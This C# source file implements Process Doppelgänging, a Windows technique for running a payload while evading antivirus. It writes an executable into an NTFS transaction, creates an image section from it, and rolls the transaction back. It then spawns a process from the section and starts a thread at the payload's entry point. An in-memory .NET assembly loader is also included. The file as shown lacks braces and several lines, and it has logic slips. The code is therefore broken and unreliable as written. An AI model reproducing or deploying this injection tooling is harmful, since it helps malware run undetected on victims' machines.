using Microsoft.Win32.SafeHandles;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace CompletelyLostReality
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct LARGE_INTEGER
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
public UInt16 MaximumLength;
[DllImport("KtmW32.dll")]
public static extern IntPtr CreateTransaction(
IntPtr lpEventAttributes,
[DllImport("Kernel32.dll")]
public static extern IntPtr CreateFileTransacted(
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr pExtendedParameter);
[DllImport("Kernel32.dll")]
public static extern bool WriteFile(
UInt32 nNumberOfBytesToWrite,
ref UInt32 lpNumberOfBytesWritten,
public static extern int NtCreateSection(
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
public static extern int NtCreateProcessEx(
ref IntPtr ProcessHandle,
IntPtr hInheritFromProcess,
[DllImport("ktmw32.dll", CharSet = CharSet.Auto)]
public static extern bool RollbackTransaction(
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(
[DllImport("kernel32.dll")]
public static extern Boolean VirtualProtectEx(
ref UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern Boolean WriteProcessMemory(
ref UInt32 lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern Boolean ReadProcessMemory(
ref UInt32 lpNumberOfBytesRead);
public static extern int NtQueryInformationProcess(
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
int processInformationLength,
public static extern int RtlCreateProcessParametersEx(
ref IntPtr pProcessParameters,
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
public static extern int NtCreateThreadEx(
UInt32 SizeOfStackCommit,
UInt32 SizeOfStackReserve,
internal const int SECTION_ALL_ACCESS =
STANDARD_RIGHTS_REQUIRED |
public static unsafe void Main(string[] args)
IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
byte[] Payload = File.ReadAllBytes(@"C:\Users\Spencer\Desktop\AssemblyLoader.exe");
IntPtr hTransaction = CreateTransaction(IntPtr.Zero, IntPtr.Zero, 0, 0, 0, 0, IntPtr.Zero);
if (hTransaction == INVALID_HANDLE_VALUE)
Console.WriteLine("[-] CreateTransaction failed");
Console.WriteLine("[+] CreateTransaction success");
IntPtr hTransactedFile = CreateFileTransacted(@"C:\Users\Spencer\Desktop\yolo.txt", 0xC0000000, 0, IntPtr.Zero, 2, 0x80, IntPtr.Zero, hTransaction, IntPtr.Zero, IntPtr.Zero);
if (hTransactedFile == INVALID_HANDLE_VALUE)
Console.WriteLine("[-] CreateFileTransacted failed");
Console.WriteLine(Marshal.GetLastWin32Error());
Console.WriteLine(hTransactedFile);
Console.WriteLine("[+] CreateFileTransacted success");
bool WriteFileStatus = WriteFile(hTransactedFile, Payload, Convert.ToUInt32(Payload.Length), ref WriteCount, IntPtr.Zero);
if (WriteFileStatus != true)
Console.WriteLine("[-] WriteFile failed");
Console.WriteLine("[+] WriteFile success");
IntPtr largint = IntPtr.Zero;
IntPtr hSection = IntPtr.Zero;
int CreateSectionStatus = NtCreateSection(ref hSection, 0xF001F, IntPtr.Zero, IntPtr.Zero, 0x20, 0x1000000, hTransactedFile);
if (CreateSectionStatus != 0)
Console.WriteLine("[-] NtCreateSection failed");
Console.WriteLine(Marshal.GetLastWin32Error());
Console.WriteLine(CreateSectionStatus);
Console.WriteLine("[+] NtCreateSection success");
CloseHandle(hTransactedFile);
RollbackTransaction(hTransaction);
CloseHandle(hTransaction);
IntPtr hProcess = IntPtr.Zero;
IntPtr hParentPid = new IntPtr(-1);
int CreateProcessStatus = NtCreateProcessEx(ref hProcess, 0x1FFFFF, IntPtr.Zero, hParentPid, 4, hSection, IntPtr.Zero, IntPtr.Zero, 0);
if (CreateSectionStatus != 0)
Console.WriteLine("[-] NtCreateProcessEx failed");
Console.WriteLine("[+] NtCreateProcessEx success");
Process currentProcess = Process.GetCurrentProcess();
IntPtr hHandle = currentProcess.Handle;
PROCESS_BASIC_INFORMATION ProcBasic = new PROCESS_BASIC_INFORMATION();
int RetLength = Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION));
int STATUS = NtQueryInformationProcess(hHandle, 0, ref ProcBasic, RetLength, ref RetLength);
if (STATUS.ToString("X") != "0")
Console.WriteLine("[-] NtQueryInformationProcess Failed");
Console.WriteLine("[+] NtQueryInformationProcess success");
Int64 PEOffset = BitConverter.ToInt64(Payload, 60);
Console.WriteLine("\tPEOffset: 0x" + BitConverter.ToString(Payload, 60, 4).Replace("-", ""));
Int64 OptOffset = PEOffset + 24;
Int64 PEArch = BitConverter.ToInt16(Payload, (int)OptOffset);
Console.WriteLine("\tPEArch: " + BitConverter.ToInt16(Payload, (int)OptOffset));
Int64 EntryOffset = OptOffset + 16;
Int64 EntryPoint = BitConverter.ToInt64(Payload, (int)EntryOffset);
Console.WriteLine("\tEntry Point: 0x" + BitConverter.ToString(Payload, (int)EntryPoint, 4).Replace("-", ""));
IntPtr lpBuffer = Marshal.AllocHGlobal(8);
IntPtr rImgBaseOffset = ProcBasic.PebBaseAddress + 0x8;
Console.WriteLine("\tImage Base Offset: 0x" + rImgBaseOffset);
bool ReadStatus = ReadProcessMemory(hHandle, rImgBaseOffset, lpBuffer, 8, ref BytesRead);
Console.WriteLine("[-] ReadProcessMemory failed");
Console.WriteLine("[+] ReadProcessMemory success");
Int64 PEBaseImageAddress = Marshal.ReadInt64(lpBuffer.ToInt64(), 0);
Int64 ProcessEntryPoint = PEBaseImageAddress + EntryPoint;
Console.WriteLine("[+] Injected image address: 0x" + PEBaseImageAddress);
Console.WriteLine("[+] Injected entry point: 0x" + ProcessEntryPoint);
IntPtr uTargetPath = CreateUnicodeStruct("C:\\Users\\Spencer\\Desktop");
IntPtr uDllDir = CreateUnicodeStruct("C:\\Windows\\System32");
IntPtr uCurrentDir = CreateUnicodeStruct("C:\\Users\\Spencer\\Desktop");
IntPtr uWindowName = CreateUnicodeStruct("Process Dopplegang");
IntPtr pProcessParameters = IntPtr.Zero;
int RtlStatus = RtlCreateProcessParametersEx(ref pProcessParameters, uTargetPath, uDllDir, uCurrentDir, uTargetPath, IntPtr.Zero, uWindowName, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1);
Console.WriteLine("[-] RtlCreateProcessParametersEx failed");
Console.WriteLine("[+] RtlCreateProcessParametersEx success");
Int64 pParameters = pProcessParameters.ToInt64() + 4;
IntPtr pParametersPointer = new IntPtr(pParameters);
Int32 ProcParamsLength = Marshal.ReadInt32(pParametersPointer);
IntPtr VictualAllocStatus = VirtualAllocEx(hHandle, pProcessParameters, Convert.ToUInt32(ProcParamsLength), 0x3000, 4);
if (VictualAllocStatus == null)
Console.WriteLine("[-] VirtualAllocEx failed");
Console.WriteLine("[+] VirtualAllocEx success");
bool WriteStatus = WriteProcessMemory(hHandle, pProcessParameters, pProcessParameters, Convert.ToUInt32(ProcParamsLength), ref BytesWritten);
Console.WriteLine("[-] WriteProcessMemory failed");
Console.WriteLine("[+] WriteProcessMemory success");
IntPtr hRemoteThread = IntPtr.Zero;
int CreateThreadStatus = NtCreateThreadEx(ref hRemoteThread, 0x1FFFFF, IntPtr.Zero, hProcess, new IntPtr(ProcessEntryPoint), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
if (CreateThreadStatus != 0)
Console.WriteLine("[-] NtCreateThreadEx failed");
Console.WriteLine("[+] NtCreateThreadEx success");
public static IntPtr CreateUnicodeStruct(string data)
UNICODE_STRING UnicodeObject = new UNICODE_STRING();
string UnicodeObject_Buffer = data;
UnicodeObject.Length = Convert.ToUInt16(UnicodeObject_Buffer.Length * 2);
UnicodeObject.MaximumLength = Convert.ToUInt16(UnicodeObject.Length + 1);
UnicodeObject.Buffer = Marshal.StringToHGlobalUni(UnicodeObject_Buffer);
IntPtr InMemoryStruct = Marshal.AllocHGlobal(16);
Marshal.StructureToPtr(UnicodeObject, InMemoryStruct, true);
public class ProxyClass : MarshalByRefObject { }
public interface IAssemblyLoader
object Load(byte[] bytes, string command);
public class AssmeblyLoader : MarshalByRefObject, IAssemblyLoader
public object Load(byte[] bytes, string command)
var assembly = AppDomain.CurrentDomain.Load(bytes);
Type myType = assembly.GetType("Program");
MethodInfo myMethod = myType.GetMethod("Main");
object[] parameters = new object[1];
object obj = Activator.CreateInstance(myType);
var test = myMethod.Invoke(obj, parameters);